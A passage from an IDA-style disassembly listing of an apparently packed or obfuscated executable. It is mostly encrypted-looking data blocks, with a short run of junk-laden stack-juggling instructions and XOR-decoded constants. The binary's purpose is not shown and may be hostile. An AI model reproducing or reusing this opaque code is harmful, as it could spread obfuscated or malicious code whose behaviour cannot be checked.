6795E4h dd 25CA0000h, 0DA3F2EBBh, 9748299Ch, 0DB0FAC1Bh, 289B197h dd 186F3411h, 6F36EB9Fh, 8E179B04h, 8FFF1D5h, 0C7E070Fh dd 0E96B7C1Bh, 39h, 0ABBB2586h, 0DB0F98C7h, 945D6A97h dd 0A79A28F3h, 0F4E569D1h, 0DB0573BEh, 0E4FA6E97h dd 8D62AF25h, 688AFC99h, 0E576B7Bh, 4000000h, 10590h, 0B6F85D00h dd 3B5ACC4Bh, 0C590E8h, 253F0000h, 0C1B12EBBh, 228B4B21h dd 0FABB80ADh, 115ECB5h, 0CBA21264h, 90EFC0h, 259C0000h dd 0E3F2EBBh, 0F26911Dh, 373B97DBh, 512093D2h, 0DB0FA2EDh dd 0C8BBF97h, 0FB5C4962h, 47787577h, 0FB22FC2Bh, 1879E1B7h dd 46305D49h, 938B9B90h, 4Bh, 2EBB25C8h, 0F04733Fh, 511997DBh dd 5C13D8A6h, 1E2F3AFBh, 0DA9874EDh, 6EB393Ch, 0FBDE3D6Ah dd 0F1BD20FAh, 0FAFBDE86h, 5223D79Bh, 7CCE977Fh, 0FED89C2Fh dd 69D6DCCDh, 74FAFBD6h, 0D677A0CCh, 0E66AFAFBh, 10899Fh dd 90A60000h, 56h, 3A75A45Dh, 0C93B4E17h, 7B3B55A8h, 0AFFD8D0Ah dd 0DC97DB0Fh, 1D655343h, 0F125D51h, 5B0F97DBh, 250853D7h dd 0CC397FBBh, 352BDF53h, 83583BF4h, 3C990C93h, 0AC0697DBh dd 6B7B6BDBh, 0B1FC4683h, 629D8D06h, 0B924061h, 106AFE87h dd 1FFFFFFh, 28B90h, 7B3B3F00h, 679A030Ah, 0BC1719EAh dd 7BDC93E2h, 6C3CA3Bh, 954AF540h, 0AFF67ACFh, 3AB528CBh dd 0F9257F33h, 68D09DE6h, 0B9D5F861h, 9B1A6B2Bh, 232A52B3h dd 0F065004Fh, 4C551D91h, 65266515h, 515A91F0h, 8A67B2A8h dd 9B8FAEF9h, 0F37B6FE3h, 3E7BDE42h, 0B9D84EC9h, 0E5573CE6h dd 3071A727h, 43h, 50C6940Dh, 536804Eh, 0C225297Ch, 80722029h dd 959DE626h, 74432ADh, 0B191F019h, 228DD0F2h, 0E893DB5h dd 813E8BC9h, 0D98C9671h, 814353CEh, 5F7CBD18h, 841D716Ah dd 0A6658EF8h, 0BF6B71h, 0EF000000h, 0FF0C5976h, 0CB8B9E03h dd 1E4FF67Ah, 0D239E4F6h, 8ACACFD6h, 1D5BBC3Bh, 1C64A1A8h dd 3DA42AD5h, 92DA31F4h, 372A4B32h, 2A53A2E2h, 850A7539h dd 231797DBh, 0FDEE1F52h, 0DB8546B1h, 8E175B97h, 8478C989h dd 0DBBED448h, 0CB3A7A97h, 0C6594C37h, 0C33272D7h, 2C3D254h dd 0E5421D6Ch, 6990D89Dh, 0A0F4CF78h, 1FEB7EA6h, 9F5780EEh dd 64A91F6h, 69DC9A7Fh, 47B2F095h, 0D784B9E8h, 0F1BFBA90h dd 451h, 6286F7B3h, 8579C68Fh, 0DF539EE0h, 0F4087B3Ah dd 2E65311h, 0D89EEC61h, 0A9F4896Dh, 8ACFA246h, 5C24F93Dh dd 54151115h, 0EB8C115Eh, 130C91h, 0F4087D3Bh, 0CE05111h dd 0A7B3BDFh, 200C548Dh, 0DB0F0572h, 0C4337F97h, 0D997DB0Fh dd 0D75B0F91h, 0A23DA053h, 32DDF7BBh, 0A0A89DE6h, 1B8D3637h dd 0A5DE3A6h, 46D35E8h, 0AED8317Dh, 0FBD691F0h, 33AC332Bh dd 8AE8190Ah, 91F0AE5Dh, 35791840h, 9BCD939Fh, 0F18266EAh dd 264C7DEEh, 9DE82AC8h, 3F1C0D35h, 0AF1C5975h, 5A8BC73Bh dd 0FC91EBDDh, 0B75311B7h, 6B1F83ECh, 715997h, 92F60000h dd 97DB0F39h, 83C10991h, 9D018936h, 98E5AF6Ch, 38A1661Fh dd 0CBC20427h, 7DC08247h, 0F1B35624h, 3D1A138Ch, 0B770E73h dd 97DBF5DCh, 55F79F7Ah, 4B16B2F0h, 4FF377E0h, 0A148EFD6h dd 0F58CBEBDh, 1F135E20h, 0D79F3D7Ah, 707DFA6Eh, 6E34CA8Bh dd 66EA9C1Bh, 0BA79D31Fh, 1DF297DBh, 74460309h, 0FA65D297h dd 0BACF3874h, 6ED297DBh, 3BD506FAh, 498E097Eh, 0EA6EE0Ch dd 0CC4BFF46h, 0FA2E4857h, 85097F8Ch, 0C0096611h, 0A8C93E7Bh dd 8ACFCDD9h, 5A8DF93Dh, 4597DB06h, 7B8C9EEFh, 0C7ABDC6Bh dd 97DB2998h, 3978DD85h, 5091B7CEh, 0CEFFFFFFh, 4672AEFh dd 8A01469Bh, 8011850Dh, 0FD7ACB8Bh, 0FC445C24h, 10840AB5h dd 0EF80671Ch, 76A1CDFEh, 6B97DB0Fh, 412D9EE7h, 9DE60903h dd 85ECB491h, 0F4B1941Ah, 23AAFE87h, 0F00E004Fh, 0A1551D91h dd 0E034836h, 4E7F91F0h, 55E239D5h, 0F08EEE59h, 0D64FF391h dd 0F78EAA0Dh, 17610A18h, 0E271A729h, 3Bh, 78C22599h, 5B50CF3Ah dd 0DB0FE857h, 0D94DF597h, 9EE72455h, 732DA651h, 0A9281B21h dd 915223D7h, 0E6ED571Dh, 611E429Dh, 0F0D2BA11h, 5B4BC691h dd 0A7404832h, 0DF9571h, 0EFCA0000h, 0F47B0FEh, 165A97DBh dd 76CA8A8Fh, 60D737F1h, 6BCA3223h, 88D61283h, 979403B7h dd 0F283F2B2h, 6DEA5F25h, 1A85ECB4h, 0F0347DC5h, 0DB1F80B4h dd 1F662E97h, 186929EEh, 98D8BD79h, 7077AE29h, 0E2A0CEFFh dd 179DE66Bh, 0B134CF23h, 54D8256Fh, 57A2E025h, 7B6C9D4Eh dd 0F014C837h, 146DD591h, 0CED459AEh, 0DCD2C39Bh, 97DDAB93h dd 6DBBDA8Eh, 5117F4E5h, 5CB900E4h, 41B2F117h, 91D7C4DDh dd 98E48B24h, 68D78AB0h, 1C41Ch, 136A2E00h, 0CA397A1Fh dd 0AC115336h, 85EEB548h, 73C68C61h, 97FD4BFh, 673AFE4Bh dd 0BA5FD31Ch, 976A8EFDh, 868266CFh, 899CCBA7h, 8E8191EBh dd 0E976EF9Fh, 3C5A6FC7h, 0C18794EDh, 0CC09B074h, 0B0653C83h dd 0EF9881F0h, 79FE830Ch, 47334209h, 29C22514h, 89CA0F20h dd 6C35BD3Ah, 0E6265C06h, 0ABE92E9Dh, 4435BE53h, 13870BB2h dd 3593E264h, 773F1C0Dh, 3A8BCB0Eh, 319AE45Bh, 4D91F058h dd 0CDBFC4CEh, 2871A6B9h, 0CFh, 682AEF47h, 30A40B54h, 85ECB461h dd 0A7FC51Ah, 4D549A03h, 48D38F2Ch, 0DFE22D41h, 4BFF97DBh dd 0D74B372Ah, 0AD97DBE4h, 0BBDA2568h, 0CB2F96DEh, 0C566E36h dd 0D641B0F0h, 0B233AC50h, 0A9624FDEh, 0ABE220Dh, 5D534A8Dh dd 3F4BB6F8h, 97DB58F0h, 0C8F165EDh, 0E613E8AAh, 0D1551D9Dh dd 3920BB22h, 0CEAF9375h, 0E8AB6E9Bh, 0E2961887h, 440DCAFBh dd 0B7CE40FFh, 0DD51A4E2h, 0A00F7A38h, 8AB0D405h, 0B23D4BF6h dd 1C000000h, 680DE158h, 4124D827h, 9B7EB2FFh, 0F2976BDCh dd 0C6AD41B4h, 0CC397F0Dh, 0A10A5528h, 9CEBA84Dh, 74BD8598h dd 0F9B5B4B0h, 91EB888Eh, 3BA9F893h, 0B6E18D7Dh, 0AB97DB0Fh dd 1AFF33A7h, 4061E65Ah, 8E4DCFE7h, 3BB5E61Ah, 548D0A7Bh dd 0B241A50Ch, 0E589B02Bh, 9DE88077h, 6BD49F72h, 0DFA778E7h dd 0B7FF9296h, 7FDCD14Eh, 0DC52CD3Ah, 756A79C5h, 48C758DFh dd 0AF165E5Ah, 8AEEB64Bh, 0D7454CD3h, 51CE7234h, 0C17EC988h dd 7BAD7910h, 88FB244Ah, 72E6D8D8h, 0C72E7623h, 0F4BD9A23h dd 79E108Fh, 74E35212h, 6DD09277h, 3AC14h, 9630000h, 0E7F3BA6h dd 0B9084891h, 2F9CD93Eh, 0DB246FB0h, 48BDFB5Ch, 0F94C0ACFh dd 69DA997Eh, 1A6729EEh, 0B4FB449Dh, 8953B30Bh, 4C381E3h dd 83000000h, 0FF5304EBh, 5B042474h, 5C24048Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push ebp mov ebp, 33EA20AAh xor ebp, 35DA590Fh push ebp add dword ptr [esp], 638B5007h pop edx sub edx, 638B5007h pop ebp push esp mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx pop dword ptr [eax+8] mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5516A7 ; --------------------------------------------------------------------------- db 0A0h, 3Fh, 0BAh dd 0F914460Fh, 0B2362F96h, 0FEB8DD03h, 3063087h, 65E0FFC5h dd 0B173F974h, 1060CF9h, 0F95AFEADh, 0F958F965h, 417D1A7Dh dd 1A1B36C5h, 7F478E46h, 0ED577D38h, 0F26DDDBBh, 0F0125012h dd 313E93Fh, 9B284F0Ah, 0DB2CEFF9h, 9B67BCF1h, 0E95A2471h dd 0B0h, 0DA8C6660h, 0F04C2F6h, 0C85h, 1D853B00h, 0F062B0Bh dd 3684h, 19853B00h, 0F062B2Fh, 2A84h, 9853B00h, 0F062B18h dd 1E84h, 71853B00h, 0F062B0Dh, 1284h, 2DBD8300h, 1062B0Ah dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h dd 0FC98578h, 4984h, 0F8C28100h, 8B000000h, 0C8030C72h dd 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h dd 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h, 850F4A04h dd 0FFFFFFDCh, 0DE9h, 0A19D8D00h, 0B8062B4Eh, 5, 0C361E3FFh dd 8D8DD00Bh, 6308AB8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 37C35242h, 11958B9Eh, 66062B12h, 893879BEh dd 2B0EE18Dh, 43BA6606h, 0E185C7BFh, 0E4062B21h, 6A00005Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0E83FC352h, 81863A02h, 9AD28BEBh, 0E585C75Ch dd 62B2Bh, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0FBA2C350h, 8B53C4BDh, 2B023195h dd 0B5FF5B06h, 62B21A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0EFC35747h, 32A35720h, 0B5092C40h, 62B0A45h dd 0FF1B501h, 95FF062Bh, 62B2731h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 61C35646h, 0ECA3792Ah, 128C0FC0h dd 0E8000000h, 6, 25907A57h, 0EA8127E0h, 742F394Dh, 0FF006A58h dd 2B294595h, 0EBC08B06h, 80E850Eh, 3B874395h, 23921B2Ah dd 0E94608C9h, 0DEh, 7FDF8160h, 81230537h, 572519CEh, 0B58D6152h dd 6308B24h, 35858DF8h, 0E9062E5Ah, 0Eh, 29DE8730h, 0DB93B838h dd 0DC9DDE13h, 0D0FFEDDCh, 0AE9h, 33E65200h, 373C84E7h dd 0C3EFB1ABh, 0FE9h, 0ECB36F00h, 1D293DF0h, 859ED0FCh dd 0A6BF5E03h, 0F8D98C66h, 0F04C1F6h, 4384h, 5840F00h dd 60000000h, 619EEE80h, 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh dd 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh, 1874C00Bh dd 8B0C708Dh, 0A6CB8BFAh, 75490A75h, 1B8FAh, 9EB0000h dd 0E4EB008Bh, 0B8h, 6ACF00h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 69F162C3h, 0DA140991h dd 0FC00499Ah, 88A0Fh, 820F0000h, 2, 85C76160h, 6308B54h dd 1013Fh, 8CA88D8Dh, 6A0630h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0D6DD3C3h, 210D858Bh dd 8D89062Bh, 62B0EE1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0E4C35141h, 0E185C773h, 88062B21h, 8B00006Ch dd 2B338D95h, 85C7F506h, 62B2BE5h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ADC35747h dd 2EF1B5FFh, 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0DB2F0C3h, 4870FB1h, 66000000h dd 8B5F64B8h, 2B002D85h, 3195FF06h, 6A062B27h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0D020C352h, 16BD2DB2h, 8B8F6245h, 2B2D4995h, 0FF006A06h dd 2B294595h, 0EBC08B06h, 8D4E4B4Bh, 0BCC31DA6h, 0E253F8B7h dd 579691ECh, 0B9399B49h, 3CDCFD68h, 0FC1B7C2Fh, 338CB136h dd 0EE9953A5h, 9AD1212Dh, 0F5DFAF9Eh, 0EFC57325h, 0ABEFB35h dd 443C43DCh, 70BFD858h, 0D96F9064h, 44667B1Bh, 520B74EAh dd 0ACEC2F2Ch, 60EBh, 17h dup(0) dd 0ACE90000h, 0E900000Bh, 0BA0h, 30956368h, 0F24AE906h dd 9C68FFFAh, 0E9063096h, 0FFFAF240h, 30971A68h, 0F236E906h dd 5A03FFFAh, 0E55B26Eh, 0BFA5C23Eh, 73F20D89h, 183E5955h dd 0D89FEA26h, 0E5211B3Fh, 3AF6D08Ah, 444084DDh, 930F292Bh dd 941622C9h, 0E992DB4Dh, 271576Bh, 78FACFA0h, 0D928E146h dd 0E5684385h, 0C92D83B6h, 0FF0DFF1Dh, 94EB3A4Dh, 0B821E00h dd 0E0E27817h, 0AF89CB24h, 6458015Ch, 79DDC887h, 0A1AFC917h dd 872937A0h, 0FA94EB9Ch, 5AA564h, 2B66E5C6h, 859C0D37h dd 0BBBDD8DDh, 26304E9Dh, 94EB9C84h, 0E6C561F9h, 2EFDC79Bh dd 2BB490D3h, 1C87767Ch, 9BA7043Eh, 55F7C8ACh, 0E67AC154h dd 0A1B40BE0h, 0AF1F4C9Fh, 7F071542h, 168ADCDAh, 9DC0DF08h dd 99FE6FABh, 45EBF966h, 386D243Ch, 0FE76C526h, 71B8DCD8h dd 0ED7A4C12h, 0EBC02DDFh, 0CF3E2094h, 0C55B0B0h, 0EEBCE0EBh dd 0F30F591Eh, 5E0D8357h, 0E1A1B43h, 94EBC07Ch, 82ED0911h dd 63728738h, 9F3BF243h, 4E15236Fh, 718DAD7Eh, 8DB7ABE6h dd 0E2717E1Ch, 0EBC054D6h, 0F8312994h, 7DF9960Ah, 17C96D5h dd 38h, 4E1271CDh, 1E8F9378h, 8054A1EDh, 0C0C96371h, 0A2BC94EBh dd 816971BEh, 1E7DEADAh, 94AA0127h, 2717115h, 56E7CA9Dh dd 0DDECF02h, 4E127149h, 4F9AB178h, 7C000000h, 89D6236Fh dd 47877D1Ah, 4C15AB6Dh, 738F9378h, 0F2929C04h, 5059C1B0h dd 4F12712Ah, 7381B079h, 94EBC0F9h, 8BBDA5E0h, 7BFBCD20h dd 0FB2E5AC7h, 0A5E2AE5Fh, 2D1349A2h, 0C72440DEh, 713B1FBBh dd 0EADA8169h, 85004FF6h, 7E00EBDDh, 12710B8Fh, 83B47553h dd 0F2913E33h, 0DA715A6Ch, 0EBC03CCEh, 0ADC95194h, 0E6C7D57Ch dd 198AC6D8h, 9826AA01h, 696D3F38h, 0A0FFCCF0h, 0D92487A1h dd 0D26CBF81h, 8E6125D8h, 6317EB0Ah, 0C86F7A34h, 9C0DE310h dd 6AF771FDh, 1B41577h, 5F3A0000h, 0CCCAC3E5h, 40162A6Fh dd 6775E27Eh, 94EBC0CDh, 0EE4D9E80h, 0CB545076h, 0C169713Ch dd 24677B21h, 0EB5DB03Ah, 5455C594h, 0E1C78136h, 6FD50DFDh dd 2202D623h, 0D57DF9BEh, 71017C96h, 46000000h, 0B4B28E5Bh dd 1877BECEh, 0C8A0345h, 0E05236Fh, 4A5EACC1h, 0B2660814h dd 71B94EBh, 718B4FEBh, 0C054D6E2h, 312994EBh, 0C0109AA6h dd 0F56594EBh, 7D0F1D34h, 1094EBC0h, 82C2C10Eh, 0F23B47A4h dd 0D6E271D4h, 94EBC054h, 59F83129h, 0EADA8141h, 0F2D90E7Dh dd 1A4281BBh, 36012C2Dh, 0D5D4E12Dh, 4D1271B1h, 1F8E907Bh dd 317508CEh, 6D000000h, 2D6236Fh, 0C0C96371h, 0B19194EBh dd 816971ADh, 71F6EADAh, 89B3A7E2h, 0B8321C22h, 0CD94EBC0h dd 0D1209B9Eh, 831FA46Eh, 218AACA4h, 7B5F9019h, 8AD52A6Fh dd 87A1A0FFh, 0C0EC8A06h, 0F96194EBh, 0B395CF12h, 0B1ADE877h dd 0E32A3497h, 0E1C781E7h, 6FD50DFDh, 0D120523h, 27714E50h dd 0BE22D78Bh, 96D57DF9h, 25017Ch, 5B460000h, 9A22E104h dd 24A26B5Dh, 2D6236Fh, 0C0C96371h, 0A2BC94EBh, 816971BEh dd 4FF6EADAh, 5C758Bh, 716D0000h, 0C17C8302h, 5A5324CAh dd 8ED35DA9h, 0C2B11EBAh, 16E94D4Bh, 9332495h, 0FBCD92EDh dd 0FB9F0E10h, 0C0C96371h, 629194EBh, 3967525Dh, 9ABEDAF2h dd 4AB7E271h, 5B9F385Ah, 8AB54936h, 1EEEED95h, 0DA81EBEFh dd 0F6123229h, 75004FE2h, 0EBC0C567h, 0C362494h, 0C658A3BFh dd 1271C3C7h, 9EB57452h, 0CDh, 0D65864F3h, 3794EBC0h, 42DC1F21h dd 2A6F4F4Bh, 0C47E8AD5h, 8994EBC0h, 6DE73A91h, 814B4F4Bh dd 71FDE1C7h, 0B37A4C12h, 2B2E6DE0h, 0F66BB615h, 0C561F9D2h dd 236FC6C4h, 0BE2202D6h, 96D57DF9h, 52017Ch, 6FCD0000h dd 0FA89D623h, 2883A59Fh, 0C0A64816h, 0C4794EBh, 507CD328h dd 94EBC0DEh, 9A13AFB3h, 0D50271FCh, 16B29FB6h, 2B0D4423h dd 0AF416FE2h, 0A294EB2Eh, 697198BCh, 7DEADA81h, 36705C0Eh dd 0BF6E5DCFh, 718B4F1Bh, 907B4D12h, 36F41F8Eh, 0E2000000h dd 4F15236Fh, 7391E79h, 0D17E9AA4h, 0AE99AFB2h, 0B7FF9285h dd 21A564E1h, 0C0C96371h, 0B19194EBh, 70271ADh, 166F45A9h dd 0E5DF7FD8h, 81152D24h, 4FF6EADAh, 5212718Bh, 28B9774h dd 886345FFh, 9C182C35h, 56D8E473h, 2B94EBC0h, 0C35F61F4h dd 9BBDB7CAh, 0C00C9C30h, 0BB5094EBh, 67447EDCh, 5529D2DBh dd 0A6311751h, 1FA62FFBh, 0D906139Dh, 0EB0921CBh, 0C3CA5494h dd 6640001Fh, 2D3BC685h, 94EB0983h, 4B0F68F6h, 5849A71h dd 651EF335h, 0A88EFDA1h, 0D70BEA0Eh, 5CAF91C9h, 62D9A6C2h dd 0FC35E8EEh, 0BEB6C9C0h, 9DED1C98h, 0B4F90750h, 0CB8AC61Fh dd 0CA587457h, 3B6D3E7Eh, 74CB2024h, 0A10CDFE1h, 202FE553h dd 0D268D63h, 0D362B639h, 77A7C3EFh, 2A5F776Ch, 7B000000h dd 76E1C781h, 8900441Bh, 0C054D6FAh, 0ACB594EBh, 69EC3398h dd 679E7457h, 27DECCA3h, 61E0BF63h, 0D3DA6447h, 76B294CCh dd 0E1C78162h, 84E9590Ah, 1321CC5Bh, 94EBC099h, 0F0DBED70h dd 1C8D8D6Eh, 0DC533474h, 0E6F2598Ah, 6D24B344h, 5A852139h dd 35911D2Fh, 532C7593h, 4CD2390Bh, 1868E15Dh, 0B2E18CDBh dd 0CE8967DBh, 327D1DEEh, 0B82E9F3h, 97B2885h, 5F005F73h dd 0EEE2C965h, 674F5B40h, 3497A9B1h, 7D4E6EE9h, 0C4AB9FA8h dd 315D21D0h, 713B7535h, 33E9h, 2A6FF500h, 0D1FF8AD5h dd 94EBC05Fh, 52FD2C32h, 0B092C8C7h, 71B89CD7h, 0EBC09D5Fh dd 0F76DB094h, 6F2AB5D1h, 65F5D6EAh, 6AEEADA4h, 17CB5854h dd 0AF000000h, 8AD52A6Fh, 0EBC0C07Eh, 164E8D94h, 2B47DB30h dd 457BE1BCh, 4E755549h, 6D000001h, 88D7246Fh, 0C05DEFFDh dd 2E3094EBh, 271DBFFh, 8648E26h, 21F4355Ch, 22C781A1h dd 0E9ED093Fh, 7DF9BE22h, 7B7C96D5h, 0A803251Ch, 9EBEB996h dd 399A6Fh, 0D0CF0000h, 0CF53B88Ah, 246FB8DEh, 637103D7h dd 94EBC0C9h, 0A635A2BCh, 0EBC0109Ah, 8AF56594h, 26458827h dd 0D0F63751h, 12716971h, 71B0794Fh, 4F01D5EBh, 36758Bh dd 6F6D0000h, 7103D724h, 0EBC0C963h, 76829194h, 94EBC0F4h dd 3A469189h, 94EBC0B0h, 253955C5h, 0DB816971h, 123E3326h dd 94EBC098h, 0B5D16DEDh, 4E1271A1h, 9AA0B178h, 0B6531271h dd 2C3299BFh, 0E6273B90h, 0DBFFD99Bh, 236FD50Dh, 4B0A89D6h dd 9809E6Dh, 71BE228Dh, 0A8A60A02h, 0E920E555h, 97B494EEh dd 2D287Ch, 71AA0000h, 0C054D6E2h, 312994EBh, 0FEFB47F8h dd 0C96371DAh, 0BC94EBC0h, 6971BEA2h, 794F1271h, 21D8C92h dd 4F75695Fh, 37758Bh, 716D0000h, 0C054D6E2h, 312994EBh dd 0CDFB47F8h, 0EBC00DBFh, 42DE4094h, 5212719Eh, 5C8B9774h dd 0EBC0BE30h, 5E4FD394h, 0C00BA5B3h, 0F75394EBh, 816971E3h dd 4FF6EADAh, 0E4D8818Bh, 0C038C907h, 0A21394EBh, 6E97C8DEh dd 7CB8D4EAh, 0E4D88158h, 4EA7B807h, 0BF70E19Ah, 7FF956B0h dd 50EC7259h, 0C7CA9807h, 97CE7EE0h, 0F348716h, 0DEE2773Bh dd 0D99F0271h, 0DAFC39FDh, 10616FD3h, 0E394EB53h, 0CFFB4460h dd 0AF18BFFAh, 0F9766985h, 0D97D97A4h, 69A0A6BAh, 0FFFE679Ch dd 62F03EFFh, 6394EBC0h, 9F0E3024h, 0EBC0E3F1h, 3FC86394h dd 0C4526B14h, 446B143Fh, 6B143FB6h, 0BE98D8B7h, 3FB3414Fh dd 5CACAB14h, 8ACDC817h, 0C8C159B2h, 21A83B49h, 63FFB526h dd 66BDB88h, 0A1A7BAD9h, 5AF5344Ah, 1725CF4Eh, 0CA78E6B3h dd 10591D1Bh, 0F652F526h, 0E2000002h, 34534F79h, 84E31F21h dd 0D532EED0h, 217EBA92h, 7E8B0739h, 6381EBBh, 0D7F16D8Ah dd 0A19BBCDBh, 6C4A0A65h, 3745EAB0h, 92DB55B5h, 71744CC8h dd 0AD7E4812h, 43051C8Dh, 78FFA65h, 2FA24799h, 0BAAB7AB3h dd 8A6FE64Ah, 3450ECCAh, 16D99DABh, 322C8ADCh, 785AE8F6h dd 0F5456D24h, 0B9416FF8h, 0D47313EBh, 0C67E1D4Ah, 0A786E733h dd 6D893614h, 8EB2A7E2h, 0ED79CE3Dh, 8593185Bh, 744A0E69h dd 5C028B97h, 0C4270143h, 74EA6208h, 42147367h, 4AA1A3BBh dd 2F339834h, 33FD4DFEh, 53FC182Ch, 0AC90C9C4h, 0F064C35Fh dd 0CDB1DFCEh, 0E0794379h, 35A2BABDh, 855C8527h, 0CA66F879h dd 6046FE9Dh, 2F094BA4h, 481271DCh, 2E9E8F7Eh, 2E8A96C1h dd 2767B2CFh, 1363D03Bh, 0D36371DEh, 0D66DE25Ch, 49A2A6BBh dd 0E635F831h, 0DF63486Eh, 0FF791443h, 82C2DDD9h, 0FB8947A4h dd 0E475E664h, 0E4F05F94h, 6BD13B80h, 89FCFAA9h, 0B5BFD7C6h dd 0E956B7C5h, 0B996DFA5h, 324C9FA1h, 0B92638FBh, 4B4284DAh dd 363B8BB8h, 74C69BA9h, 0C159501Ah, 4E89DCB3h, 0F46956Fh dd 1BDh, 8804401Dh, 0D8D4E86Fh, 6BA799BFh, 0B773550Ch dd 0C03C0658h, 159C2B5h, 0B6A4C33Fh, 62F7108Ch, 345A25Eh dd 1C33E925h, 0DB567EF0h, 3D151392h, 4A111F6Fh, 6371DE7Ah dd 8ADC5303h, 46F7D44Ah, 0E0252AF6h, 80451B3Fh, 316CFB64h dd 0A7491729h, 466D24BCh, 42DC2F11h, 0CE86E179h, 8E7F03E8h dd 80F07583h, 9CFB7309h, 2B0D44B9h, 0EB223C8Fh, 15EC1608h dd 0F8505BBAh, 13F202Bh, 0C29B0000h, 76ED0A86h, 273D5A56h dd 0CB8AE521h, 80D631EDh, 403742BEh, 7DB983D7h, 920E3822h dd 0DCD8EC75h, 6BA781C3h, 0FC8E9AB1h, 9192DB57h, 271BF93h dd 0FD1D613Fh, 0F056CD61h, 0CFDE98E7h, 3D5963F4h, 55EB5BCCh dd 9CD7DA6Bh, 7AE501DFh, 98AAB0EFh, 0D2FE2F33h, 8ADC70AAh dd 0AE406CC3h, 0A36D2455h, 85C823BFh, 83C59BF6h, 0A6481628h dd 0DB6D2455h, 0AB4FA594h, 3E5AB8C1h, 0C6C7F961h, 639FB9BBh dd 939F89F4h, 5A6DACE3h, 65A4C006h, 0AF7C5A1Ah, 9663E5A0h dd 0C58D48BFh, 139A3632h, 0F25D92E2h, 137952E6h, 0A02F3373h dd 2DA54DF5h, 51587CBFh, 0F9CF92EDh, 8B7EE23Dh, 5450ECC8h dd 78DF383Bh, 0BFDB6744h, 8322443h, 16EF738Ch, 20DC785Eh dd 22AD97C7h, 27954777h, 0CD3CFB5Fh, 9C61F611h, 1B2784BEh dd 6CE403FFh, 0D87E1D4Ah, 1C7B27E6h, 1958373Eh, 8452EC3Fh dd 677529EAh, 0F867839Fh, 29AD5F6Dh, 0BEA06775h, 1984934Fh dd 50C6F1ECh, 57C8C138h, 0CE5D8AE7h, 0CAEC6423h, 0FD8F59E1h dd 90677509h, 0E9711F8Eh, 8479429Ah, 0A33F0159h, 5573F548h dd 3CA59h, 5EAC0000h, 0E8DC817Ah, 0A284BC03h, 5B6DF249h dd 17312D70h, 0CFF169B4h, 87B9A1FCh, 0BE9ED924h, 744A0E6Dh dd 33154897h, 895708D8h, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 2404895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68241489h dd 7835h, 56242C89h, 0C40B2568h, 0EE815E35h, 6F963296h dd 0F6814E46h, 0C01D550Dh, 348BF289h, 4C48124h, 68000000h dd 4B42h, 83242489h, 5D042404h, 0D9168h, 24148900h, 0FF08458Fh dd 835D2434h, 34FF04C4h, 0C4815A24h, 4, 0FAE6BBE9h, 0C4C6BEFFh dd 0FE610904h, 30987EB8h, 8BC50306h, 12E8C3h, 0D43D0000h dd 0F917793h, 294055B7h, 9821B3Ah, 542EB427h, 0FE4FC081h dd 0B35A6CBAh, 41C2811Bh, 5600006Ch, 7E9h, 0C0189D00h dd 0BD6CE064h, 6858h, 6E90000h, 0C2000000h, 14E0BC3Eh dd 34FF5963h, 5FDE8B11h, 8191F780h, 0ED1E83C7h, 12E96020h dd 79000000h, 699FE2CCh, 0A9EB6847h, 0D588D5BCh, 5A15606Ch dd 61D6B782h, 0E604F781h, 880F5750h, 0Ch, 68D0Fh, 8F0F0000h dd 0 aBUVulIKS db 'Çž[vU‹Â‰<',0Ah db 'ŠÝé',0Dh,0 dd 1A910000h, 82D6AA2Fh, 0EFC83EB6h, 830016BEh, 14E804E9h dd 0C3000000h, 0AADE9676h, 0E7BD443Fh, 0D7FA0F3Eh, 0B1494DCBh dd 0F855203Dh, 88F9815Eh, 0FFFFF94h, 0FFFF7585h, 0E875B3FFh dd 0Bh, 109FD304h, 8643DE21h, 66A6D7AFh, 0E95ECE8Bh, 0Ah dd 4CC9FFFFh, 0A36CDE00h, 0C6818631h, 6DCCh, 0A89C26BFh dd 0AFF3B80Ah, 0E8815F07h, 5F0794BEh, 14E8h, 80CF7E00h dd 0D952064Ah, 0D59723A0h, 4E59FAF1h, 77047AF3h, 7E848h dd 257F0000h, 49C7A275h, 800F2Bh, 5F000000h, 5A36FF59h dd 0F0F281F8h, 0E9604C3Bh, 14h, 85ED38A4h, 2371BE50h, 33B0E36h dd 94BE7DF4h, 931DB6E3h, 7E77C281h, 0E952435Eh, 13h, 0DFAAFE82h dd 3A510386h, 4F6526F3h, 973238D3h, 5B06DF2Ah, 5A64EA81h dd 0F605F1Dh, 382h, 0F1BF0F00h, 66168961h, 0EE83FE8Bh dd 0EE904h, 0E6AE0000h, 7A496487h, 5380C92h, 183FCECCh dd 14850F48h, 0E9000000h, 20h, 7E44EAF4h, 7264DA26h, 4F965932h dd 0BF1517FAh, 3A99AEDCh, 0FFFF6CE9h, 0CD578AFFh, 5DF18ECEh dd 